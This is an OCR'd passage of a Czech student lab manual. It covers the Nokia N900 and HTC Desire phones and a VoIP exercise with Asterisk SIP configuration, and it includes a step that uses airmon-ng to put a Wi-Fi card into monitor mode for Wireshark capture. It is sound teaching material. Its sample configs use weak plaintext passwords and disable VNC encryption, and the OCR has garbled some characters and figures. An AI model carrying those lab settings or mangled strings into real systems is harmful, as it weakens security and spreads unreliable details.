funkce, GPS a napajeni. Na rozdil od vétSiny systémovych komponentl se jedna o closed-
source aplikace. Systém vyuZivdA mnoho knihoven. Zna¢nou c¢ast multimedidlnich funkci
spravuje knihovna PulseAudio. Stara se o transparentni piistup k zvukovym funkcim systemu.
Dynamicky omezuje hlasitost, ¢im chrani reproduktory pfed poskozenim. GStreamer rozhrani
vytvaii podporu pro rizné audio a video kodeky.
¢asti komunikac¢niho rozhrani syst¢ému Maemo je RTCom framework. Sklada se z nékolika
vrstev a obsluhuje sluzby a aplikace komunikujici pfes mobilni sit. Framework Telepathy
umoznuje roz§ifit systém o nové protokoly (ICQ, MSN, atd.). Pro ukladani vétSiny dat
RTCom/Telepathy (SMS, email, kontakty) se pouZiva databaze SQLite. Nad grafickym X-
serverem b&zi spravce oken Matchbox a grafické prostiedi Hildon. Hildon GUI slouZzi
Kk vytvareni a pfidavani mini aplikaci na plochy systému.

S vyjimkou komunikaéniho rozhrani je platforma Maemo relativné oteviend. To samé
se tyka 1 aplikaci vyvijenych pro tento systém. Celkovée je tento operacni systém daleko vic
otevien, nez je tomu u konkurenénich systému, naptiklad Android ¢i Apple OS X. Aplikace
jde bez problému instalovat pomoci spravce aplikaci, jak je tomu u vétSiny linuxovych
distribuci. [9]
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3.3 Ovladani pristroje

Veskery popis ovladani bude odpovidat poloze na obr. 3.2, protoze témét vSechny
aplikace pracuji v poloze nalezato. Hlavni displej je rozdé€len na ¢&tyfi pracovni plochy,
pti¢emz na kazdé muze byt libovolni pocet odkazli na aplikace, zalozky, resp. kontakty. Je
mozné na plochu umist'ovat rizné miniaplikace, tzv. ,widgety*, které v realném Case sbiraji
data zavisla na aplikaci a zobrazuji je. Ovladani je intuitivni, mozné jenom pomoci dotykd,
telefon nemé& zadné hardwarove ovladaci prvky.

3. Menu / Manazer 5.Informace  Odblokovaci
spusténych aplikaci o sitich tlacitko €.1

4. Krok spét

~ Odblokovaci
tla¢itko ¢.2
2.Vysuvna
klavesnice k= 1.Stylus

Obr. 3.2: Popis pristroje Nokia N900

1. V pravém dolnim rohu se nachazi stylus. Pomoci ného probiha veskeré ovladani
pristroje, zamezi se tak znecisténi displeje a hlavné nepiesnostem pii praci s textem,
terminalem, atd.

2. Vysuvnad Kklavesnice neni jediny zpusob zadavani informaci do pfistroje, telefon
podporuje i tzv. ,on-screen” klavesnici. Funkéni klaves Fn slouZzi k zadavani
alternativnich znakt (véetné Sipky nahoru a Sipky dolu).

3. Menu / Manazer spustenych aplikaci. Toto pevné umisténé tlacitko slouzi na spousténi
aplikaci a prepinani mezi aplikacemi. Po spusténi libovolné aplikace plni funkci
manaZzera aplikaci, umoznuje pfepinat mezi spuSténymi aplikacemi. V rezimu
manazZera aplikaci plni opét funkci tlac¢itka menu. Timto zpisobem je mozné spustit
piiblizn€ 30 aplikaci, které budou na pozadi pracovat, aniz by byl systém vyrazné
zpomalen.

4. V¢tSina aplikaci ma v pravém hornim rohu krizek pro vypnuti. Jestli tomu tak neni
(naptiklad Menu), je mozné aplikaci vypnout stlaCenim prazdného mista, resp. pozadi.

5. Pevné¢ dané tladitko zobrazuje informace o stavu baterie, Sitich, umoznuje prepinat
mezi sitémi, atd. Jedna se vlastné¢ o notifikacni zénu, do které je mozné doinstalovat
ruzné aplikace, pro zjednoduseni ovladdani. V nasem piipadé, byla do této zdény
doinstalovana podpora piepinani mezi sit¢tmi 2G a 3G.
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4 Mobilni pristroj HTC Desire

HTC Corporation je technologickym lidrem v oblasti vyroby chytrym telefont. Mezi jeji
nejkvalitnéjsi zafizeni patii HTC Desire, vybaveny opera¢nim systémem Android 2.1 a 1GHz
procesorem. Pfistroj patii do kategorie chytrych telefond, nazyvané ,slate”. Jsou to telefony
bez hardwarové klavesnice, pohyblivych ovladacich prvka a s velkym dotykovym displejem,
slouzicimu k ovladani. [10]

4.1 Parametry

Hardwarovy zaklad tvofi nejrychlejs$i komeréné nasazovany procesor pro mobilni telefony
Qualcomm s frekvenci 1GHz.

e Podporované sit¢: GSM 850/ 900/ 1800/ 1900MHz, WCDMA: 850/ 900/ 1800/ 1900/
2100MHz (UMTS).

e Podpora datovych ptenosti: GPRS (maximalni rychlost stahovani 114kbit/s), EDGE
(maximalni rychlost stahovani 560kbit/s), 3G (WCDMA), HSDPA (7,2Mbit/s),
HSUPA (2,0Mbit/s), Bluetooth 2.1, USB, Mikro USB, WLAN IEEE 802.11b/g, GPS
(Global Position System).

e Operac¢ni systém: Android 2.1 ,,Enclair.

e Pam¢t telefonu: 512MB.

e RAM: 276MB.

e Procesor: Qualcomm Snapdragon QSD8250 1GHz.

4.2 Operac€ni systém

Systém Android patii mezi nejnovéj$i operacni systémy, pouzivané v mobilnich
telefonech. Je postaveny na jadie Linuxu. Vyvinula ho spolecnost Android Inc., ktera byla
poté odkoupena spole¢nosti Google Inc. Jeho hlavni vyhoda je, Ze je poskytovan jako open-
source systém. Podil na celkovém trhu (pfiblizné¢ 30%) roste hlavné diky tzv. Android
Marketu, ktery nabizi velké mnozstvi aplikaci (50000+), vétSinou bezplatn€. Od jeho vzniku
bylo uvolnéno nékolik verzi systémi, nejnovéjsi ma oznaceni Android 2.2 ,,Froyo*“. Na obr.
4.1 je znazornéna architektura systému. [11]
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Aplikace
Domovska stranka Kontakty Telefon Prohlize¢
Aplika¢ni Framework
Manazer aktivit Manazer oken Poskytovatel dat Systém zobrazovani
Manazer bali¢kd t :“? naief ; Manazer zdrojli Manazer lokace Manazer notifikaci
elefonovani
Knihovny Android Runtime
Surface manazer F?::;ﬂ?r K SQlLite Knihovny jadra
OpenGL | ES FreeType WebKit W't”aé';i?:ize"i
SGL SSL libc
Linuxové jadro
Ovladaé displeje Ovladaé kamery Ovladaé Flash paméti Ovladaé¢ Binder IPC
Ovladaé klavesnice Ovladaé WiFi Ovladaé zvuku Sitowy manaZment
Zdroj: http://developer.android.com

Obr. 4.1: Struktura opera¢niho systému Android 2.2
Aplikace

V systému je zahrnuto n¢kolik aplikaci, jako naptiklad emailovy klient, SMS klient,
kalendar, mapy, prohlize¢ WWW, kontakty, atd. Dalsi aplikace je mozno bez problémi
naistalovat pomoci USB rozhrani nebo Android Marketu. VSechny aplikace jsou psané
v programovacim jazyku JAVA. [11]

Aplika¢ni Framework

Diky oteviené vyvojaiské platformé, Android umoznuje vyvojafem vytvofit zajimavé
a inovativni aplikace. K tomu mohou vyuzit hardwarové vybaveni pfistroje, informace o
poloze (GPS), spoustét sluzby na pozadi systému, integrovat notifikace do systému, atd.
Vyvojaii maji plni ptistup k APl (Aplication Programming Interface) frameworku, ktery
vyuZivaji i vstavéné aplikace. Aplika¢ni architektura je navrzena tak, aby zjednoduSovala
znovuvyuziti komponentt systému. Blok poskytovatel dat umoZnuje aplikacim pfistup
k datim z jinych aplikaci. ManaZer zdroju poskytuje pfistup k zdrojim, jako naptiklad
grafika, Sablony, atd. a manaZer aktivit ma na starosti Zivotni cyklus vSech aplikaci. [11]
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Knihovny

Android zahrnuje sadu C/C++ knihoven, vyuZivanych riznymi ¢astmi systému.
Ptistup k nim zabezpecuje Aplika¢ni Framework. Mezi zdkladni knihovny patii naptiklad:

e Systémovd C knihovna — knihovna libc, pfizpisobena pro pfistroje zaloZzené na
operac¢nim systému Linux.

e Medialni knihovna — podpora audio a video formati, MPEG4, H.264, MP3, AAC,
AMR, JPG a PNG.

e Surface manaZer — sklada a zobrazuje 2D a 3D grafické vrstvy z vicerych aplikaci.

e WebKit — jadro prohlizece webovych stranek, generuje vzhled stranek.

e SGL (Scalable Graphics Library) — zobrazovani 2D grafiky.

e OpenGL/ES - 3D akcelerace.

e FreeType — renderovani fontt, bitmapy a vektory.

e SQLite — databaze dostupna pro viechny aplikace. [11]

Android Runtime

Kazda Android aplikace ma sviij vlastni proces, spolu s instanci Dalvik virtualniho
stroje. Dalvik spousti tzv. dex soubory, které vznikli zkonvertovanim standardnich class
souboril. Soubory ve formatu dex jsou kompaktnéjsi a vykonnéjsi nez soubory class, cozZ je
dulezité vzhledem k omezené paméti a baterii pfistroja. [11]

Linuxové jadro

Android vyuzivd sluzby linuxového systému, jako naptiklad sprava paméti,
bezpecnost, sprava ovladacl, sprava sitového modelu. Jadro vytvari abstraktni vrstvu mezi
hardwarovou a softwarovou ¢asti. [11]

4.3 Ovladani pristroje

Rozlozeni tlacitek a popis ovladani telefonu je znazornén na obr. 4.2. Hlavni displej
muze obsahovat sedem nezavislych virtudlnich ploch, na kterych mohou byt umistnény
odkazy na aplikace, kontakty, zalozky, nebo tzv. ,,widgety*. Displej je kapacitni a podporuje
»multitouch®, coz je ovladani pomoci vicerych prstii a gest.

1. Levé spodni ovladaci tlac¢itko Home slouZi pro ndvrat na hlavni obrazovku. Ukonc¢i
nebo pozastavi aktualné bézici proces.

2. Tlacitko Menu vyvola kontextové menu, které obsahuje dopliikové funkce nebo
nastaveni spusténych aplikaci.

3. Opticky ,,trackpad slouzi pro jednoduché ptepinani virtualnich ploch, pohyb v menu,
prepinani mezi polozkami formulare, ovladani webového prohlizece, atd.

4. Tlacitko Back slouzi pro pohyb zpét v rozvétvenych aplikacich.

5. Tlacitkem Search (Hledani), jde vyvolat aplikaci, ktera prohledd polozky systému
(soubory, kontakty, SMS, email) a internet, v zavislosti na vstupni hodnoté.
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6. Notifikacni panel slouzi na veSkerou komunikaci systému s uzivatelem, hlasi pomoci
ného zmény v systému, chybové hlaseni, zmeskané hovory, nové SMS a emaily, atd.

Odblokovani

6. Notifika¢ni panel

1. Domovska obrazovka 5. Hledani

2. Menu 4., Navrat zpét

3. Opticky ,trackpad”

Obr. 4.2: Popis pristroje HTC Desire
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5 Konfigurace a méreni parametru VolP v mobilnich
datovych sitich

Cilem laboratorni ulohy je sezndmeni s principy VolP komunikace. Pomoci pobockové
usttedny Asterisk PBX probéhne konfigurace SIP uctli, nastaveni kodeku a jinych parametrt
komunikace. Analyzatorem Wireshark bude monitorovan probihajici VoIP hovor a vysvétlen
signaliza¢ni protokol SIP. V posledni ¢asti ulohy budou méfeny parametry pienosu, zpozdeni,
zména zpozdéni a ztratovost, v mobilnich a bezdratovych datovych sitich. Vétsina prace a
konfiguraci bude probihat na telefonu Nokia N900 a na pocitaci s predpfipravenym
opera¢nim systémem Ubuntu 10.10. Cilem je také demonstrace realizace VolP ustfedny na
zafizeni s omezenym vykonem.

5.1 VolIP (Voice Over IP)

Voice over IP je sada komunika¢nich protokolll a pfenosovych technik umoziujicich
vytvofeni hlasovych a multimedialnich relaci v sitich zaloZenych na protokolu Internet
Protocol (IP). Pro vytvofeni VoIP hovoru je zapotiebi uskutecnit nékolik krokd, jako
napiiklad signalizace, nastaveni medidlniho kanalu, zakdédovani hlasu, paketizaci dat a
samotny ptenos pres IP sit. K tomuto ucelu slouzi rada protokold, nejvyznamnéjsi jsou SIP,
SDP (Session Description Protocol) a RTP (Real-Time Transport Protocol). Do sady VolP

protokolt patii i Skype protokol, patfici spolecnosti Microsoft, ktery je vSak proprietarni.

Ustiedna PBX slouzi pro zprostfedkovani signalizace, inicializaénich parametrd,
parametri spojeni a ukonceni spojeni. Samotny VolP hovor (pienos audia a videa) je typu
point-to-point. Pro pienos dat se vyuziva protokol RTP. [13]

5.2 Zapojeni experimentalniho pracovisté

Vzhledem k otevienosti opera¢niho systému Maemo a moznemu softwarovému
poSkozeni telefonu Nokia N900, bylo nutné zabezpelit piistroj. Zabezpeeni systému je
dosazeno pomoci bali¢ku ,,Easy-Debian®“. Jednd se o upraveny virtudlni obraz linuxové
distribuce Debian, uréeny pro systém Maemo. Spolu s moznosti konfigurovat v telefonu
vétsinu aplikaci, uréenych pro operacni systém Linux, byl do systému zakomponovan také
novy piikazovy fadek. Puvodni piikazovy tadek, tzv. X-terminal, mél znacné omezené
funkce. Prace snim vrezimu administratora by mohla byt nebezpeéna pro cely operacni
systém. Pfidanim nového piikazového fadku, se pracuje vreZimu administrtora nad
virtualnim systémem Debian. Pfipadna chyba by mohla vést jenom k poSkozeni virtualniho
obrazu. Tento problém by se odstranil pouhym nahrazenim obrazu zalohovanou kopii. Take
novy ,,shell umoznuje zatradit do systému nové utility, jako naptiklad ping, ifconfig, wget,
paketovy analyzator tcpdump, atd. Tyto utility jsou velice uzite¢né pro analyzovani odezvy a
stavu site.

Do telefonu Nokia N900 byly kromé riznych utilit pfidany i nastroje tvofici jadro
laboratorni tlohy. Hlavnim je samotnd pobockova ustfedna Asterisk PBX, pomoci které je
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mozné konfigurovat a vytvaret VoIP relace. Asterisk PBX je pln¢ softwarova tustiedna,
nepotiebuje zadny podporny hardware. Jedna se tedy o plnohodnotnou aplikaci. Vyhodou
ustfedny na Nokii oproti klasickym PBX serverum je jeji mobilita, ¢i jiz v siti UMTS nebo
Wi-Fi siti.

Pro ulehCeni vkladani textu a ovladani telefonu je mozné vyuzit VNC (Virtual
Network Computing) protokol. Na telefonu Nokia je nainstalovan server X11lvnc a v systému

Ubuntu klient SSH/SSL VNC viewer.
Ukol 1 - Nastavte VNC spojeni mezi telefonem Nokia a PC

Seznamte se piistrojem Nokia N900 podle kapitoly 3. Pfipojte telefon a PC do
bezdratové sité¢ (SSID MKPM) a realizujte vzdalené ovladani pfistroje pomoci PC. Oteviete
okno termindlu (debian chroot), a piikazem ifconfig zjistéte IP adresu piistroje. Pfikazem ping
ovéite, zda pfistroje spolu komunikuji a nasledn€ zapnéte pomoci ptikazu x11vnc server VNC
(server musi béZet na pozadi, jinak je spojeni pieruseno). Pomoci VNC SSL/SSH klienta na
pocitaci se na server pripojte. Pfed pfipojenim je nutné vypnout Sifrovani. Vzdalené ovladani
je vhodné pro psani piikazt do piikazového fadku a konfiguraci Asterisku.

Principialni schéma zapojeni prvniho scénafe je na obr. 5.1.

Bezdratovy telefon
KLAPKA 100

Pocitac

Yealink videotelefon

//, KLAPKA 300

ey
Smérovac
EE e
Bezdratova sit e LAN EEE s
000000 Ol - EEEaa
' - sip bl
SIGNALIZACE
Analyza komunikace
@ Monitor Mode
Pfistroj Nokia N90O Notebook Yealink videotelefon
KLAPKA 200

Obr. 5.1: Zapojeni prvniho scénare
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Notebook bude slouzit k zachytadvani bezdratové komunikace mezi stanicemi.
Upraveny ovladac¢ sitové karty umozniuje vypnout filtr MAC (Media Access Control) adres.
Tim padem stanice zachyti veSskerou komunikaci. Nevyhodou je, Ze se vypne také fizeni
sitové karty, jejiz tlohou je i zahazovani duplicitnich rdmci. Proto tieba pfi analyze vysledku
brat tuto vlastnost do Gvahy.

Ukol 2 - Nastaveni notebooku do tzv. monitor modu

Bezdratovy USB modul Airlive 802.11abgn mé v pfipraveném opera¢nim systému
Ubuntu upraveny ovlada¢ pro piepnuti do monitorovaciho médu. Pfipojte modul do USB
rozhrani notebooku a v menu Wmplayer WM, poloZzka Removable Devices, zkontrolujte, zda
je zafizeni ptipojeno k virtudlnimu stroji. V ptikazovém fadku terminalu zobrazte stav
bezdratovych rozhrani piikazem iwconfig. Rozhrani wlan0, obr. 5.2, je vtzv. ,managed”
modul.

wlan® IEEE 802.11abgn ESSID:"MKPM"
|[Mode:Managed | Frequency:2.412 GHz Access Point: 00:86:25:4B:1F:28

Obr. 5.2: Vypis prikazu iwconfig

Tento méd umoziuje piijimat jenom data uréena pro danou MAC adresu. Aby bylo
mozné piijimat vSechna data a zarovei i data do sit¢ injektovat, je potieba namapovat nové
monitorovaci rozhrani na stavajici rozhrani wlan0. Toho dosahneme piikazy sudo airmon-ng
stop wlan0 (vypnuti rozhrani) a nasledn¢ sudo airmon-ng start wlanO (nahozeni rozhrani
spolu s novym monitorovacim rozhranim). Utilita airmon-ng je soucasti sady pro zkoumani
bezdratovych siti Aircrack. Pfi op&tovném vypisu bezdratovych rozhrani se objevi nova
polozka monO, obr. 5.3.

mone IEEE 802.11abgn |H0de:HDnitDr' Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Power Management:off

Obr. 5.3: Vystup prikazu iwconfig po zapnuti monitorovaciho rozhrani

Toto rozhrani bude vyuzito pro veskerou préci pfi zachytdvani ramct analyzatorem
Wireshark.

5.3 Asterisk PBX

Asterisk je softwarova implementace telefonni pobockové ustfedny. Tento open source
projekt umoziuje promeénit obycejny pocita¢ na plnohodnotny komunikaéni server. Podporuje
Sirokou Skalu aplikaci a sluzeb, ¢im se vyrazné pfi¢inil o rast VoIP technologie.

Asterisk je v podstaté vyvojarska platforma, ktera obsahuje funk¢ni bloky pro vytvoifeni
PBX systétmu, IVR (Interactive Voice Response) systému nebo jiného typu
telekomunikacniho feSeni. Tyto funkéni bloky zahrnuji:

51



e ovladace pro rizné VolP protokoly,

e ovladace pro PSTN (Public Switched Telephone Network) karty a zatizent,

e smérovani a obsluha pfichazejicich hovort,

e generovani odchozich hovori,

e sprava funkci (nahravéni, prehrdvani, generovani tont),

e uctovani,

e transcoding (pfevod z jednoho formatu na jiny),

e pfevod na jiny protokol,

e integrace databazi,

e integrace do webovych sluzeb, umoznujicich pfistup pomoci internetovych protokold,

e vytvafeni jednoduchych nebo viceuzivatelskych hovort,

e nahravani a monitorovani hovort,

e vytvofeni ¢islicového planu pro zpracovani hovort,

e sprava hovorti do a z vné&jsi sité v libovolném programovacim jazyku pomoci AGI
(Asterisk Gateway Interface),

e rozeznavani hlasq, text-to-speech aplikace, atd.

Kombinaci uvedenych komponentli je mozné vytvofit jednoduché pobockové ustfedny,
nebo robustni telefonni systémy. V naSem ptipadé vyuzijeme jenom zakladni bloky pro
vytvoreni SIP relaci a uskute¢néni videohovoru. [19]

5.3.1 Konfigurace ucta SIP

Konfigurace Asterisku muze probihat pomoci webového prohlizece nebo CLI
(Command Line Interface), ¢ili ptikazového fadku. Parametry aplikaci, sluzeb a uctt, které
Asterisk  podporuje, jsou ulozeny v konfiguraénich  souborech ve  slozce
/home/opt/asterisk/etc/ na telefonu Nokia. Pro nas jsou dulezité zejména soubory sip.conf a
extensions.conf. Prvni slouZzi ke konfiguraci protokolu SIP a parametrti relaci. Soubor
extensions.conf je uréen pro nastavovani ¢islicového planu.

Syntaxe zapisu parametrii je nasledovna:

[sekce-vseobecnd nebo konkrétni ucet]
parametr=hodnota

Vlastnosti, které jsou platné pro vSechny ucty v ramci SIP protokolu, jsou uloZeny
v sekci [general]. Na urovni jednotlivych G¢th je mozné tyto vlastnosti pfepsat. Nastaveni
plati jak pro pfichozi tak pro odchozi volani. Piikladem nastaveni polozek v sekci general
jsou ¢islo portu, jazykova lokalizace, povoleni NAT (Network Address Translation), podpora
videohovort, kontext, do kterého se maji smérovat ptichozi volani, povolené kodeky, atd.
Dalsi sekce, napiiklad [1000], urcuje parametry pro ucet s klapkou 1000. Pro klapku je mozné
nastavit celou fadu parametrt, uzivatelské jméno, heslo, hostitelskou IP adresu, typ uctu,

vvvvvv

zékladnich SIP relaci je nésledujici:
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disallow =  zakéazani kodeku, vychozi se doporucuje all,

allow = povoleni kodeku (all, gsm, alaw, plaw, g723, g726, 9729, atd.),

bindaddr =  adresa, na které Asterisk nasloucha (vychozi 0.0.0.0 — vSechny rozhrani),

bindport = UDP port, na kterém Asterisk nasloucha (obvykle 5060),

callerid = < retezec > (identifikace volajiciho),

context = < Fetézec > (ptichozi volani budou smérovani do tohoto kontextu, t€lo kontextu
je definovano v extensions.conf),

domain = <domena_firma><kontext_firma> (spravuje domény, hovor do domény
domena_firma bude smérovan do kontextu kontext_firma ),

externip = adresa, ktera bude pfenasena v SIP zpravé. Vyuziva se, pokud je stanice
umisténa za NAT-em,

language = < Fetézec >, jazyk pro piehravani zvukovych hlasek,

nat = <yes | no>, povoleni nebo zakazani NAT,

videosupport = <yes | no>, podpora videohovort,

qualify = <yes | no | milisekundy>, testovani dostupnosti klienta,

tos_sip, tos_audio, tos_video = < parametr >, nastavuje ToS parametr IP paketim, na

zaklad¢ kterych je pak paket v IP siti obsluhovan.
useragent = < retazec >, modifikace polozky User-Agent v hlavi¢ce SIP zpravy v piipadé,

Ze se Asterisk PBX chova jako Kklient.

Parametry pro konfiguraci jednotlivych uctd jsou vétSinou totozné se sekci general,
avSak jejich opétovnym definovanim miizeme pro dany ucet povolit to, co je vSeobecné
zakéazano. Specifické parametry pro jednotlivé ucty jsou:

type = <friend, user, peer>, dulezité SIP entity, pro nas dulezita jenom entita friend,

auth = <fetézec>, autentizace pomoci hash funkce,

username =  <fetézec>, slouzi pro autentizaci,

secret = heslo v oteviené textové formé,

port = SIP port klienta,

mailbox = klapka pro hlasovou schranku,

hostname =  IP adresa klienta, moZnost dynamic umoziuje registraci klienta z libovolné IP
adresy,

context = zavisi od typu klienta, v pfipad¢ friend je vyuzit Cislicovy plan daného

kontextu pro oba sméry komunikace.
Kompletni seznam podporovanych parametrti najdete v [17].

Priklad konfigurace general a SIP uctu.

[general]

context = obchodni oddeleni; vyuziti ¢islového planu daného kontextu
bindport = 5060; port, na kterém Asterisk nasloucha

disallow = all; zakdzani vSech kodeku

allow = alaw; povoleni kodeku alaw

language = cz; nastaveni cesStiny
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[500]
type

I~

; Cislo klapky

friend; typ Gcltu

context = obchodni_oddeleni
username = 500; uzivatelské jméno
secret = heslo; heslo v otevitené podobé

callerid = Jméno Ptijmeni <1234> ; identifikace

host = 192.168.0.23; adresa SIP klienta

auth

Ukol 3 - Vytvorte t¥i SIP uéty na ustiedné Asterisk PBX

volajictho

md5; autentizace pomoci hashovaci funkce md5

Spustte ustiednu Asterisk PBX z menu telefonu (Asterisk). V novém okn¢ terminalu
(debian chroot) nasledné piikazem nano /home/opt/asterisk/etc/sip.conf oteviete konfiguracni
soubor sip.conf a vytvoite tii ucty podle vzoru (uloZeni pomoci ctrl+0 a nasledné ctrl+x pro
ukonceni). Pii vklddani textu je mozné znaky ,[“ a ,,
telefonu (funkéni klavesa fn a nasledné sym).

Prvni ucet bude mit nasledujici parametry

typ uctu: friend,

Cislo klapky a uzivatelské jméno: [100],

heslo: 1234,

povoleny jenom kodek alaw,

bude patfit do kontextu s ndzvem mkpm,
identifikaci volajiciho: Ucet_100,

testovani dostupnosti klienta kazdych 60 s,
zakazany NAT,

povolenou registraci klienta z libovolné IP adresy,
autentizace pomoci md>.

Parametry druhého uctu jsou

typ uétu: friend

Cislo klapky a uzivatelské jméno: [200],
heslo: sipheslo,

povolené jenom kodeky: alaw a plaw,
kontext: mkpm,

identifikace volajiciho: Ucet_200,
testovani dostupnosti klienta kazdych 30 s,
povolenou registraci ze strany Kklienta,
autentizace pomoci md>.

Parametry tfetiho Gctu jsou

typ uétu: friend
¢islo klapky a uzivatelské jméno: [300],

vlozit jenom pomoci klavesnice
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e heslo: 1234,

e povolené kodeky: alaw, plaw, gsm,

e kontext: mkpm_dva,

¢ identifikace volajiciho Ucet_300,

e povolenou registraci ze strany klienta,
e autentizace pomoci md>.

Po konfiguraci a ulozeni souboru je nutné Asterisk restartovat. Pfepnéte se do aplikace
Asterisk PBX a piikazem core restart now ustfednu restartujte. Aplikace se vypne, proto ji
znovu spust’te.

Ptipojte telefon CISCO do bezdratové sit¢ MKPM a nastavte na ném tcet 100. Nastaveni
probiha pomoci webového rozhrani (http://192.168.110.179/). V horni ¢asti obrazovky
vyberte polozku admin login, nasledné zalozku Extl. V poli Proxy and Registration nastavte
poloZzkdm Proxy a Outbound proxy IP adresu ustfedny. Ostatnim polozkam nastaveni
neménite. V poli Suscriber Information vyplite zakladni parametry uctu 100. Zmény potvrd'te.

Ucty 200 a 300 nastavte na telefonech Yealink. Polozka Settings - > Account -> (heslo
sdéli vyucujici) -> libovolny ucet. Nastavte polozky Display Name, User Name, Server (IP
adresa ustredny), Register Name a Password podle jednotlivych ucti. Oznacte Enable Line
pro aktivaci linky.

Zkontrolujte stav uctt pomoci sip show peers v piikazovém fadku Asterisku. Vysledek by
mél byt podobny obr. 5.4. Uéty 100 a 200 maji nastaveny parametr Qualify, uréen pro
sledovani dostupnosti klientii. Uéet 300 ziistal nemonitorovéan. Piikazem sip show peer 100, si
muzete zobrazit podrobné informace o uctu 100.

Nokia-N900*CLI> sip show peers

Name/username Host Dyn Nat ACL Port
Status

100/100 192.168.110.179 D 5060
OK (94 ms)

200/200 192.168.110.140 D 5062
OK (30 ms)

300/300 192.168.110.141 D 5062
_Unmonitored|

3 sip peers [Monitored: 2 online, 0 offline Unmonitored: 1 o

nline, 0 offline]

Obr. 5.4: Vypis uéti piikazem sip show peers

Po tspésném vytvoreni uctd je dulezité nakonfigurovat také Cislicovy plan, aby bylo
moZné se mezi stanicemi dovolat. K tomuto Géelu slouzi soubor extensions.conf, ktery je
ve stejné slozce jako sip.conf. SIP klient patiici napfiklad do kontextu [mkpm] bude v piipadé
volani klapky prohledavat pravé kontext, do kterého patii. Najde-li ptislusnou klapku,
inicializuje hovor, nenajde-li klapku, spojeni ukonc¢i. Timto zpusobem se daji logicky odd¢lit
naptiklad rtizné skupiny urcité organizace. Pomoci maker a kontextd je mozné vytvofit celou
fadu feseni Cislicovych pland.

Syntax zapisu volani klapky je znazornén na obr. 5.5 popisuje zapis ptikazu pro volani
klapky s ¢islem 500.
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http://192.168.110.179/

1,234 .. zavislé od piikazu

N

exten => klapka,priorita,pfikaz(parametre)

I

cislo, Dial, Answer,
pfeddefinovany znaky Playback, HangUp,
atd.

exten => 500,1,Dial(SIP/500)
Obr. 5.5: Syntax zapisu pro volani klapky 500

Klapka pfedstavuje vytocené c¢islo, pfipadné nékterou z preddefinovanych hodnot.
Priorita udava potadi v ptipadé€, ze jedné klapce je ptifazeno vice ptikazii. Pfikaz muze byt
piimo vytoceni Cisla, automaticka odpovéd’, prehrani ur¢it¢ho zvuku, zavéseni, atd. Parametr,
zavisi od ptikazu, napiiklad cesta k souboru, ktery se ma piehrat, hodnota ¢asovace, atd.

Ukol 4 - Zména ¢islicového planu

Editujte extensions.conf podle vzoru tak, aby bylo moZné realizovat hovor mezi
stanicemi 100 a 200. Ze stanice 300 bude mozné se dovolat jenom na stanici 200. Na stanici
300 se nebude moZzné dovolat. Nazvy kontexta budou [mkpm] a [mkpm_dva]. Po zméné
konfigura¢niho souboru musite Asterisk PBX znovu restartovat piikazem core restart now.
Ovéite spravnost konfigurace volanim mezi stanicemi.

V této uloze jsme provedli zakladni konfiguraci pobockové Ustfedny Asterisk, jejimz
vysledkem bylo vytvofeni multimedialnich relaci mezi IP telefony.

Odpovézte na otazky.

Na co slouZi kontext v ¢islicovém planu?
Na co slouzi parametr Qualify?

Co je to IVR (Interactive Voice Response)?

Ktery kodek je ve statech Evropské Unie preferovan? Alaw nebo plaw?
5.4 Signaliza€ni protokol SIP (Session Initation Protocol)

SIP (Session Initation Protocol ) byl definovany vroce 1999 organizaci Internet
Engineering Task Force (IEFT). S prudkym technologickym rozvojem v oblasti IP telefonie,
mobilni datové komunikace a spolu s vlastnostmi samotného protokolu se SIP uplatnil
v Siroké skale telekomunikacnich feSeni. Je nasazen v oblastech od koncovych uzivatell
internetu aZ po velké podnikové sféry. Vyuziva se pro rizné typy sluzeb, telefonii,
videokonference, pienos zprav, IM (Instant Messaging), online hrani atd. Protokol SIP byl
vybran organizaci 3GPP jako fidici protokol pro IMS (IP Multimedia Subsystem) a pro sité
budouci generace NGN (Next Generation Network). [13]
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SIP je textové orientovany signalizacni protokol. Pracuje na aplikacni vrstvé modelu
TCP/IP. Je vyuzivan pro kontrolovani multimedialnich relaci, jako napiiklad audio a video
hovord po IP sitich. Pomoci SIP protokolu se sestavuji, modifikuji a ukoncuji relace
pozistavajici z jednoho nebo vicerych datovych tokd. Relace mohou byt sestavény mezi
dvéma koncovymi stranami nebo vicerymi Stranami. Modifikace mtze zahrnovat pozvani
dalsich stran do aktualni relace, popfipadé¢ pridani nebo odebrani datovych toka. [13]

Podobné jako protokoly HTTP (Hyper Text Transport Protocol ) a Simple Mail
Transfer Protocol (SMTP), vyuziva i protokol SIP pfenosovy model typu zadost/odpoved.
Klienti SIP vyuzivaji TCP nebo UDP spojeni na portech 5060, popiipadé 5061, pomoci
kterych se dotazuji na servery a jiné koncové SIP stanice. Pro pienos audio a video toku
slouZi protokol RTP (Real-time Transport Protocol ). V téle SIP protokolu je zahrnut protokol
SDP (Session Description Protocol ), ktery nese informaci o protokolech, portech a kodecich
vyuZzitych pro danou relaci. [13]

Kazda SIP stanice je v siti identifikovana pomoci tzv. jednotného identifikatoru zdroje
URI (Uniform Resource Identifier ). Typick& SIP URI adresa je svym zapisem velmi podobna
emailové adrese a mé tvar: sip:uZivatelskejméno:heslo@host:port. [13]

5.4.1 Architektura SIP
Architektura protokolu SIP se muze skladat z nasledujicich komponent:

e User Agent (UA) — je entita, reprezentujici koncovy systém. Entita se sklada z klienta
UAC (User Agent Client), ktery posila poZadavky a serveru UAS (User Agent
Server), ktery tyhle poZadavky zpracovava,

e SIP Proxy server — je entita chovajici se jako server a klient za icelem tvorby zadosti
ve jmén¢ jinych klientd. Hlavni funkci je smérovani zadosti k jinym entitam,
nachazejicim se bliz k hledanému uZivatelovi.

e Registraéni server — piijima zadosti typu REGISTER a umoZni uZivateli oznamit siti
svou polohu a dostupnost.

e Smérovaci server — snizuje zatéz na Proxy server. Obsahuje seznam alternativnich SIP
adres na castnika. [13]

5.4.2 SIP zpravy

Jsou definovany dva typy SIP zprdv — Zadosti a odpovédi. Prvni Fadek zadosti
obsahuje metodu, kterd urcuje charakter zpravy a cilovou SIP URI, urcujici kam ma byt
zprava odeslana. Prvni fadek odpovédi obsahuje kod odpovédi.

SIP zadosti

e REGISTER - indikuje soucasnou IP adresu, pro kterou by UA rad piijimal hovory,
e INVITE - slouZi k vytvafeni medialnich relaci mezi UA,

e ACK - potvrzuje, zZe klient dostal odpovéd’ na INVITE,

e CANCEL - zrusi aktualni zadost,

e BYE - ukoncuje hovor, mize byt odeslana volajicim nebo volanym,
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e OPTIONS - Zada informace o schopnostech serveru,

